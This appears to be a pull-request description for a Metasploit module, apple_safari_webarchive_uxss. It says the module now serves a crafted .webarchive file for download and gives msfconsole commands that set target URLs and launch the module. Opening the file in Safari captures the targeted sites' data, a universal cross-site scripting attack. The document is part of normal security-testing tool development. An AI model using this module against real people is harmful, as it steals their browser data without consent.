Updates apple_safari_webarchive_uxss to serve the webarchive for download

Verify:

```
$> use auxiliary/gather/apple_safari_webarchive_uxss
$> set URLS https://browserscan.rapid7.com
$> set DOWNLOAD_PATH /download.webarchive
$> rexploit
```

You should be able to go http://localhost:8080/download.webarchive to download the webarchive. After opening the .webarchive file in Safari you should see the captured data in your console.